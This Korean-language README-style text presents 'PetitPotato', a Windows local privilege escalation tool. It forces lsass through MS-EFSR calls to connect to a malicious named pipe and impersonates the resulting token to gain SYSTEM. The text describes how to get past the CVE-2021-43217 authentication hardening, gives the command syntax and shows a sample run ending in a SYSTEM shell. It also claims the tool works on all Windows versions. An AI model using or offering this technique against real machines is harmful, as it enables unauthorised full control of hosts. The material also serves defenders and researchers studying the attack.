
PetitPotam을 통한 로컬 권한 상승 (impersonate 권한 악용).
PetitPotam을 이용한 로컬 권한 상승 (가장(impersonate) 권한 악용).
PetitPotam은 네트워크를 통해 원격으로 액세스되는 원격 저장소의 암호화된 데이터에 대한 유지 관리 및 관리 작업을 수행하는 데 사용되는 프로토콜인 MS-EFSR(Encrypting File System Remote)을 사용합니다. MS-EFSR에는 EfsRpcOpenFileRaw와 유사한 일련의 API가 있습니다. EfsRpcOpenFileRaw API의 구문은 다음과 같습니다.
long EfsRpcOpenFileRaw(
[in] handle_t binding_h,
[out] PEXIMPORT_CONTEXT_HANDLE* hContext,
[in, string] wchar_t* FileName,
[in] long Flags
);
이러한 API는 FileName 매개변수를 통해 UNC 경로를 지정하여 서버의 암호화된 개체를 백업 또는 복원 용도로 열 수 있습니다. \\IP\C$ 형식의 경로를 지정하면 lsass.exe 서비스는 NT AUTHORITY SYSTEM 계정 권한으로 \\IP\pipe\srvsvc에 액세스합니다.
만약 EfsRpcOpenFileRaw API를 호출하여 로컬 컴퓨터가 우리가 만든 악성 named pipe에 연결하도록 강제할 수 있다면, named pipe 클라이언트 프로세스를 가장(impersonate)하여 궁극적으로 SYSTEKM 권한을 얻을 수 있습니다.
그러나 기존 PetitPotam은 관련 패치의 제한으로 인해 최신 버전의 Windows에서는 작동하지 않습니다. 하지만 EFS를 호출하기 전에 RpcBindingSetAuthInfoW를 통해 AuthnLevel을 RPC_C_AUTHN_LEVEL_PKT_PRIVACY로 설정하면 최신 시스템에서도 작동합니다.
2021년 12월, Microsoft는 다른 EFSRPC 취약점(CVE-2021-43217)에 대한 패치를 릴리스했습니다. 해당 문제의 해결 방안의 일환으로 Microsoft는 EFSRPC 통신에 몇 가지 보안 강화 조치를 구현했습니다. 특히 EFSRPC 클라이언트는 EFSRPC를 사용할 때 RPC_C_AUTHN_LEVEL_PKT_PRIVACY를 사용해야 합니다. 클라이언트가 이를 준수하지 않으면 클라이언트는 거부되고 Windows 애플리케이션 이벤트가 생성됩니다.
현재 이 프로젝트는 모든 버전의 Windows에서 완벽하게 SYSTEM으로 권한을 상승시킬 수 있습니다(Windows 21H2 10.0.20348.1547에서 테스트됨).
PetitPotato.exe [EfsID] [Command]
EfsID: 사용할 MS-EFSR API 번호Command: 실행할 명령C:\Users\Administrator\Desktop>PetitPotato.exe 3 cmd
[+] Malicious named pipe running on \\.\pipe\petit\pipe\srvsvc.
[+] Invoking EfsRpcQueryUsersOnFile with target path: \\localhost/pipe/petit\C$\wh0nqs.txt.
[+] The connection is successful.
[+] ImpersonateNamedPipeClient OK.
[+] OpenThreadToken OK.
[+] DuplicateTokenEx OK.
[+] CreateProcessAsUser OK.
Microsoft Windows [Version 10.0.20348.1547]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>
